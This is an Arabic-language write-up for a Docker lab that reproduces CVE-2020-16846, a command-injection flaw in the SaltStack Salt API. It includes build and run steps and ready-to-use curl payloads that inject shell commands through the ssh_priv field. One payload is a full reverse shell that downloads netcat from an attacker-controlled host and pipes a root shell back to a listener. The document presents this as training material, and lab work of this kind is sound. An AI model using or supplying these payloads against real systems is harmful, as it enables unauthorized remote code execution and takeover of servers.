
بيئة مختبر قائمة على Docker لاستغلال CVE-2020-16846، وهي ثغرة حقن أوامر في SaltStack Salt API، مع تعليمات استغلال خطوة بخطوة وأمثلة على حمولات قشرة عكسية.
شرح الثغرة: تم اكتشاف مشكلة في SaltStack Salt حتى الإصدار 3002. يمكن أن يؤدي إرسال طلبات ويب مصممة بعناية إلى Salt API، مع تمكين عميل SSH، إلى حقن أوامر. يمكن العثور على تفاصيل هذه الثغرة هنا:
لأغراض التدريب والتعلم، قررت إنشاء مثيل ضعيف واستغلاله.
الإصدار القابل للاستغلال: https://github.com/saltstack/salt/releases/tag/v3002
تم الاختبار على Ubuntu 20.04.03
استخدم Dockerfile لإنشاء مثيل ضعيف في Docker.
قم بتشغيل salt_setup.sh إذا كنت تريد إنشاء مثيل ضعيف على جهاز Ubuntu ظاهري.
docker build -t salt-image .
قم بتشغيل الحاوية وكشف المنافذ (المنفذ 8080 هو الوحيد المطلوب فعليًا للاستغلال)
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

شل عكسي
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
